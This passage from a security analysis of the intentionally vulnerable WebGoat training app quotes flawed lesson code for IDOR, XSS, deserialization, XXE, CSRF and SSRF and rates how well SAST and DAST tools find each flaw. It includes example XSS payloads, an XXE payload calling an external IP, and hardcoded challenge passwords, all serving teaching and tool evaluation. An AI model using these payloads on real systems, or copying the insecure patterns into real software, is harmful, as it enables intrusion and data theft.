horizontal access control check prior to dishing up the requested profile\n                if (requestedProfile.getUserId().equals(\"2342388\")) {\n                    return success(this).feedback(\"idor.view.profile.success\").output(requestedProfile.profileToMap().toString()).build();\n                } else {\n                    return failed(this).feedback(\"idor.view.profile.close1\").build();\n                }\n            } else {\n                return failed(this).feedback(\"idor.view.profile.close2\").build();\n            }\n        }\n        return failed(this).build();\n\nwebgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDOREditOtherProfiile.java#L41-88\npublic AttackResult completed(@PathVariable(\"userId\") String userId, @RequestBody UserProfile userSubmittedProfile) {\n\n    String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n    // this is where it starts ... accepting the user submitted ID and assuming it will be the same as the logged in userId and not checking for proper authorization\n    // Certain roles can sometimes edit others' profiles, but we shouldn't just assume that and let everyone, right?\n    // Except that this is a vulnerable app ... so we will\n    UserProfile currentUserProfile = new UserProfile(userId);\n    if (userSubmittedProfile.getUserId() != null && !userSubmittedProfile.getUserId().equals(authUserId)) {\n        // let's get this started ...\n        currentUserProfile.setColor(userSubmittedProfile.getColor());\n        currentUserProfile.setRole(userSubmittedProfile.getRole());\n        // we will persist in the session object for now in case we want to refer back or use it later\n        userSessionData.setValue(\"idor-updated-other-profile\", currentUserProfile);\n        if (currentUserProfile.getRole() \u003C= 1 && currentUserProfile.getColor().toLowerCase().equals(\"red\")) {\n            return success(this)\n                    .feedback(\"idor.edit.profile.success1\")\n                    .output(currentUserProfile.profileToMap().toString())\n                    .build();\n        }\n...\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSAST tools have difficulties determining authorization checks unless custom rule sets are configured.\n\n**DAST Reasoning:**\n\nIDOR-based attacks can be difficult for DAST tools to detect. The DAST tool would need to be configured to treat the `/WebGoat/IDOR/login` page as a login form to be able to successfully set the additional server side session data. After which it would somehow need to determine that the edit and view profile endpoint at `/WebGoat/IDOR/profile/{user}` should have the `{user}` field replaced with the userid of the same user, and then replaced as a different user to trigger the flaw. \n\n---\n\n\u003C/details>\n\n## (A7) Cross-Site Scripting (XSS)\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! Reflected XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/6\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js \n\n**Lesson:**\n\nThis lesson demonstrates a self-reflected XSS vulnerability. The goal is to inject XSS into the `field1` parameter.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson5a.java#L56-79\n\ncart.append(\"Thank you for shopping at WebGoat. \u003Cbr />You're support is appreciated\u003Chr />\");\ncart.append(\"\u003Cp>We have charged credit card:\" + field1 + \"\u003Cbr />\");\ncart.append(\"                             ------------------- \u003Cbr />\");\ncart.append(\"                               $\" + totalSale);\n\n//init state\nif (userSessionData.getValue(\"xss-reflected1-complete\") == null) {\n    userSessionData.setValue(\"xss-reflected1-complete\", (Object) \"false\");\n}\n\nif (field1.toLowerCase().matches(\"\u003Cscript>.*(console\\\\.log\\\\(.*\\\\)|alert\\\\(.*\\\\))\u003C\\\\/script>\")) {\n    //return )\n    userSessionData.setValue(\"xss-reflected-5a-complete\", \"true\");\n    if (field1.toLowerCase().contains(\"console.log\")) {\n        return success(this).feedback(\"xss-reflected-5a-success-console\").output(cart.toString()).build();\n    } else {\n        return success(this).feedback(\"xss-reflected-5a-success-alert\").output(cart.toString()).build();\n    }\n} else {\n    userSessionData.setValue(\"xss-reflected1-complete\", \"false\");\n    return success(this)\n            .feedback(\"xss-reflected-5a-failure\")\n            .output(cart.toString())\n            .build();\n}\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L183-185\n\nrenderOutput: function (output) {\n    var s = this.removeSlashesFromJSON(output);\n    this.$curOutput.html(polyglot.t(s) || \"\");\n    ...\n```\n\n**Can SAST Find?** \n- Probable\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nThe `field1` parameter comes directly from user input and is output in the response on lines 70, 72 and 78. The user input is inserted into the cart `StringBuffer` on line 57. However the response for this endpoint is JSON and the reason this is exploitable is due to how the frontend renders the `output` JSON field in `LessonContentView.js`. A SAST tool would need to be able to scan JavaScript and possibly Java to detect this as a Cross-Site Scripting flaw.\n\n**DAST Reasoning:**\n\nThis is a straightforward XSS attack. A DAST tool would most likely attempt various XSS attack strings in each parameter value.\n\n**Example Attack:**\n- `/WebGoat/CrossSiteScripting/attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field2=12345&field1=%3cimg%20src%3dx+onerror%3dalert(1)%3e`\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Identify potential for DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9\n\n**Source:** \n- webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java\n\n**Lesson:**\n\nThis lesson does not contain any vulnerabilities. The goal is to simply identify that `start.mvc#test` is the hidden route.\n\n```\nwebgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson6a.java#L42-50\n\npublic AttackResult completed(@RequestParam String DOMTestRoute) {\n\n    if (DOMTestRoute.matches(\"start\\\\.mvc#test(\\\\/|)\")) {\n        //return )\n        return success(this).feedback(\"xss-reflected-6a-success\").build();\n    } else {\n        return failed(this).feedback(\"xss-reflected-6a-failure\").build();\n    }\n}\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n**DAST Reasoning:**\n\nThere is nothing to find, as it's only doing a comparison between inputs and expected values.\n\n---\n\n### (A7) Cross-Site Scripting (XSS) > Cross Site Scripting > Try It! DOM-Based XSS\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/10\n\n**Source:** \n- webgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js\n- webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js\n- webgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js\n\n**Lesson:**\n\nThis lesson is a client side DOM-XSS vulnerability that exists in a different java project `webgoat-container`. The underlying vulnerability is in an insecure call to the `jQuery.html` method.\n\n```\nwebgoat-container/src/main/resources/static/js/goatApp/view/GoatRouter.js#L46-117\n\nvar GoatAppRouter = Backbone.Router.extend({\n\n    routes: {\n        'welcome': 'welcomeRoute',\n        'lesson/:name': 'lessonRoute',\n        'lesson/:name/:pageNum': 'lessonPageRoute',\n        'test/:param': 'testRoute',\n        'reportCard': 'reportCard'\n    },\n...\ntestRoute: function (param) {\n            this.lessonController.testHandler(param);\n            //this.menuController.updateMenu(name);\n        },\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js#156-159\n\nthis.testHandler = function(param) {\n    console.log('test handler');\n    this.lessonContentView.showTestParam(param);\n};\n...\n\nwebgoat-container/src/main/resources/static/js/goatApp/view/LessonContentView.js#L220-222\n\nshowTestParam: function (param) {\n    this.$el.find('.lesson-content').html('test:' + param);\n},\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nA SAST tool that does intra-procedural taint tracking would need to have signatures for the Backbone javascript framework. It would need to follow taint down to the final vulnerability on line 221 of `LessonContentView.js`. A non-intra-procedural taint tracking SAST tool may simply look for any `html()` method calls and flag it as a potential sink for XSS.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely need to have some form of SAST-like capabilities to know that the target application not only uses Backbone, but is able to extract the routes from the `Backbone.router`. It could then potentially attack all URL Fragment based route links. Since the `#test/` route is technically never referenced anywhere, it is unlikely that a DAST tool would be able to find this vulnerable route.\n\nAlso, since this is a client-side vulnerability, the DAST tool must be instrumenting a real browser, otherwise it would be nearly impossible to trigger the flaw since it is dynamically rewriting the DOM.\n\n**Example Attack:**\n- `http://localhost:8080/WebGoat/start.mvc#test/%3Cimg%20src=x%20onerror=alert(1)%3E`\n\n---\n\u003C/details>\n\n## (A8)  Insecure Deserialization\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8)  Insecure Deserialization > Insecure Deserialization > Let’s try\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/InsecureDeserialization.lesson/4\n\n**Source:** \n- webgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java\n- webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\n\n**Lesson:**\n\nThis lesson demonstrates how object deserialization attacks can be exploited to run arbitrary code. In particular this lesson deals with java deserialization attacks.\n\n```\nwebgoat-lessons/insecure-deserialization/src/main/java/org/owasp/webgoat/deserialization/InsecureDeserializationTask.java#L54-56\n\ntry (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {\n    before = System.currentTimeMillis();\n    Object o = ois.readObject();\n...\n\nwebgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java#L38-59\n\nprivate void readObject( ObjectInputStream stream ) throws Exception {\n    //unserialize data so taskName and taskAction are available\n    stream.defaultReadObject();\n\n    //do something with the data\n    log.info(\"restoring task: {}\", taskName);\n    log.info(\"restoring time: {}\", requestedExecutionTime);\n\n    if (requestedExecutionTime!=null && \n            (requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n            || requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n        //do nothing is the time is not within 10 minutes after the object has been created\n        log.debug(this.toString());\n        throw new IllegalArgumentException(\"outdated\");\n    }\n\n    //condition is here to prevent you from destroying the goat altogether\n    if ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n            && taskAction.length() \u003C 22) {\n    log.info(\"about to execute: {}\", taskAction);\n    try {\n        Process p = Runtime.getRuntime().exec(taskAction);\n...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool should be able to identify the `Object o = ois.readObject();` call on line 56 of `InsecureDeserializationTask.java` and flag as a potential Deserialization issue. SAST tools would most likely also flag the `Runetime.getRuntime().exec(taskAction)` call on line 59 as a potential for OS command injection.\n\n**DAST Reasoning:**\n\nDAST tools usually work off of intercepting requests and analyzing parameter values to determine what to inject. The `/WebGoat/InsecureDeserialization/task` endpoint is never triggered with a valid object, only a reference to what is expected exists in the HTML output. Due to this, there is no way for a DAST tool to know that this endpoint expects a serialized java object, and hence would not be able to attack it. \n\n---\n\n\u003C/details>\n\n## (A9) Vulnerable Components\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A9) Vulnerable Components > Vulnerable Components > The exploit is not always in \"your\" code\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/4\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/resources/html/VulnerableComponents.html\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable and non-vulnerable version of jquery-ui. The attack is built in to the source HTML form. \n\n```\nL45-57\n        \u003Ctd>\u003Cinput id=\"closetext\" value=\"OK\u003Cscript>alert('XSS')\u003C/script>\" type=\"TEXT\" />\u003Cinput\n            name=\"SUBMIT\" value=\"Go!\" type=\"SUBMIT\" onclick=\"webgoat.customjs.vuln_jquery_ui()\" />\u003C/td>\n        \u003Ctd>\u003C/td>\n    \u003C/tr>\n\u003C/table>\n\u003Cscript th:inline=\"javascript\">\n/*\u003C![CDATA[*/\nwebgoat.customjs.vuln_jquery_ui = function()\n{\n    webgoat.customjs.jqueryVuln('#dialog').dialog({ closeText: webgoat.customjs.jquery('#closetext').val() });\n};\n/*]]>*/\n    \u003C/script>\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the outdated version of jquery-ui.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely click the form submission and inject it's own XSS value to trigger the flaw.\n\n**Example Attack:**\n- `OK\u003Cscript>alert('XSS')\u003C/script>`\n\n---\n\n### (A9) Vulnerable Components > Vulnerable Components > Exploiting CVE-2013-7285 (XStream)\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/VulnerableComponents.lesson/11\n\n**Source:** \n- webgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java\n\n**Lesson:**\n\nThis lesson demonstrates a vulnerable version of `Xstream` that allows for XXE attacks.  \n\n```\nwebgoat-lessons/vulnerable-components/src/main/java/org/owasp/webgoat/vulnerable_components/VulnerableComponentsLesson.java#L37-68\n\nAttackResult completed(@RequestParam String payload) {\n        XStream xstream = new XStream(new DomDriver());\n        xstream.setClassLoader(Contact.class.getClassLoader());\n\n        xstream.processAnnotations(Contact.class);\n...\n\n        try {\n//        \tSystem.out.println(\"Payload:\" + payload);\n            Contact expl = (Contact) xstream.fromXML(payload);\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nMost likely the SAST tool would *not* trigger on the exact line, but would be used in combination with a dependency scanning tool to identify the vulnerable `Xstream` component. It may also model the `Xstream` library to determine if XXE injection attacks are possible.\n\n**DAST Reasoning:**\n\nA DAST tool may not attempt XML attacks since the form gives no hint that the expected form should POST as XML; the default content-type is `application/x-www-form-urlencoded; charset=UTF-8` with the parameter name of `payload`. However some DAST tools may attempt XXE attacks in all parameter value types, regardless of content-type.\n\n**Example Attack:** \n- `payload=\u003C?xml version=\"1.0\"?>\u003C!DOCTYPE text [\u003C!ENTITY xxe SYSTEM \"http://192.168.2.249:9090/test\">]>\u003Ccomment>\u003Ctext>&xxe;\u003C/text>\u003C/comment>`\n\n---\n\n\u003C/details>\n\n## (A8:2013) Request Forgeries\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Basic Get CSRF Exercise\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java\n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that is not protected by anti-CSRF measures.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFGetFlag.java#L49-51\n\n@RequestMapping(path = \"/csrf/basic-get-flag\", produces = {\"application/json\"}, method = RequestMethod.POST)\n@ResponseBody\npublic Map\u003CString, Object> invoke(HttpServletRequest req) {\n    ...\n\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFConfirmFlag1.java#L45-47\n\n@PostMapping(path = \"/csrf/confirm-flag-1\", produces = {\"application/json\"})\n@ResponseBody\npublic AttackResult completed(String confirmFlagVal) {\n...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled, it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework, it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. Most DAST tools will likely flag both the `/WebGoat/csrf/basic-get-flag` and `/WebGoat/csrf/confirm-flag-1` as being vulnerable.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Post a review on someone else’s behalf\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/3\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a form that includes a weak form of anti-CSRF measures, as the CSRF token is a hardcoded value. \n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/ForgedReviews.java#L78-102\n\npublic AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {\n    final String host = (request.getHeader(\"host\") == null) ? \"NULL\" : request.getHeader(\"host\");\n    final String referer = (request.getHeader(\"referer\") == null) ? \"NULL\" : request.getHeader(\"referer\");\n    final String[] refererArr = referer.split(\"/\");\n\n    Review review = new Review();\n    review.setText(reviewText);\n    review.setDateTime(DateTime.now().toString(fmt));\n    review.setUser(webSession.getUserName());\n    review.setStars(stars);\n    var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList\u003C>());\n    reviews.add(review);\n    userReviews.put(webSession.getUserName(), reviews);\n    //short-circuit\n    if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {\n        return failed(this).feedback(\"csrf-you-forgot-something\").build();\n    }\n    //we have the spoofed files\n    if (referer != \"NULL\" && refererArr[2].equals(host)) {\n        return failed(this).feedback(\"csrf-same-host\").build();\n    } else {\n        return success(this).feedback(\"csrf-review.success\").build(); //feedback(\"xss-stored-comment-failure\")\n    }\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. Most likely a SAST tool will completely ignore the hard coded value check.\n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool may be confused by the seemingly configured CSRF token, when in reality the value is hard coded. A DAST tool will need to do an active request and compare the results to see if the CSRF token is ever updated/changed.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > CSRF and content-type\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/6\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form that calls an endpoint which doesn't validate the content-type properly. Newer browsers will append a `=` to the end of `text/plain` forms where only the name value exists. This form is still vulnerable to CSRF if attackers use `XMLHttpRequest` or `navigator.sendBeacon`.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java#L57-74\n\npublic AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {\n        try {\n            objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);\n            objectMapper.readValue(feedback.getBytes(), Map.class);\n        } catch (IOException e) {\n            return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();\n        }\n        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);\n        correctCSRF &= hostOrRefererDifferentHost(request);\n        if (correctCSRF) {\n            String flag = UUID.randomUUID().toString();\n            userSessionData.setValue(\"csrf-feedback\", flag);\n            return success(this).feedback(\"csrf-feedback-success\").feedbackArgs(flag).build();\n    ...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF regardless of content-type.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Login CSRF attack\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/7\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form to force a victim to login under the attackers account.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java#50-57\n\npublic AttackResult completed(HttpServletRequest request) {\n    String userName = request.getUserPrincipal().getName();\n    if (userName.startsWith(\"csrf\")) {\n        markAssignmentSolvedWithRealUser(userName.substring(\"csrf-\".length()));\n        return success(this).feedback(\"csrf-login-success\").build();\n    }\n    return failed(this).feedback(\"csrf-login-failed\").feedbackArgs(userName).build();\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `\u003Cform>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > Change the URL to display Jerry\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/1\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\n\n**Lesson:**\n\nThis lesson does not contain a real vulnerability, it is only for demonstration purposes for modifying parameters.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java#44-66\n\nprotected AttackResult stealTheCheese(String url) {\n    try {\n        StringBuffer html = new StringBuffer();\n\n        if (url.matches(\"images/tom.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Tom\\\" src=\\\"images/tom.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.tom\")\n                    .output(html.toString())\n                    .build();\n        } else if (url.matches(\"images/jerry.png\")) {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images/jerry.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return success(this)\n                    .feedback(\"ssrf.success\")\n                    .output(html.toString())\n                    .build();\n        } else {\n            html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"Silly Cat\\\" src=\\\"images/cat.jpg\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.failure\")\n                    .output(html.toString())\n                    .build();\n        }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues, it simply does a string match and returns different results.\n\n**DAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > \n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\n\n**Lesson:**\n\nThis lesson is for exploiting SSRF but limits the user to a single URL that must exactly match `http://ifconfig.pro`.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java#L49-74\n\nprotected AttackResult furBall(String url) {\n        try {\n            StringBuffer html = new StringBuffer();\n\n            if (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();\n\n                return success(this)\n                        .feedback(\"ssrf.success\")\n                        .output(html.toString())\n                        .build();\n            } else {\n                html.append(\"\u003Cimg class=\\\"image\\\" alt=\\\"image post\\\" src=\\\"images/cat.jpg\\\">\");\n                return failed(this)\n                        .feedback(\"ssrf.failure\")\n                        .output(html.toString())\n                        .build();\n            }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool may report that this endpoint is vulnerable due to the user provided `url` parameter being used in a `URLConnection.openConnection()` call. In reality, this is not an exploitable flaw since the URL must exactly match `http://ifconfig.pro`\n\n**DAST Reasoning:**\n\nA DAST tool attempting SSRF injection attacks will most likely use a callback server to receive a forced request from the target application. Since the value is technically hardcoded, there is no way for a DAST tool to know if the endpoint is using a user provided value in construction of the `URLConnection.openConnection()` call.\n\n---\n\u003C/details>\n\n## Client side\n\n---\n\nThese lessons are just demonstrations of bypassing client side restrictions – since there is no real business logic to exploit they do not contain any real exploitable flaws. \n\n---\n\n## Challenges\n\n---\n\n\u003Cdetails>\n\u003Csummary markdown=\"span\">Findings\u003C/summary>\n\n### Challenges > Admin lost password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge1.lesson/1\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the hidden pin code embedded in the logo and replace the hardcoded password's 1234 with the value. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java#L23-37\n\nprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException {\n\n    byte[] in = new ClassPathResource(\"images/webgoat2.png\").getInputStream().readAllBytes();\n\n    String pincode = String.format(\"%04d\", PINCODE);\n\n    in[81216]=(byte) pincode.charAt(0);\n    in[81217]=(byte) pincode.charAt(1);\n    in[81218]=(byte) pincode.charAt(2);\n    in[81219]=(byte) pincode.charAt(3);\n\n    response.setContentType(MediaType.IMAGE_PNG_VALUE);\n    FileCopyUtils.copy(in, response.getOutputStream());\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is no real vulnerability here for a SAST tool to alert on that would match the purpose of the assignment. However, SAST tools will most likely flag hardcoded credentials in `SolutionConstants.java`.\n\n**DAST Reasoning:**\n\nThere is no real vulnerability here for a DAST tool to alert on that would match the purpose of the assignment. \n\n---\n\n### Challenges > Without password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge5.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\n\n**Challenge:**\n\nThe purpose of this challenge is to login as `Larry` without knowing his password. This can be achieved by exploiting a SQL Injection vulnerability. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java#L51-68\n\npublic AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed(this).feedback(\"required4\").build();\n        }\n        if 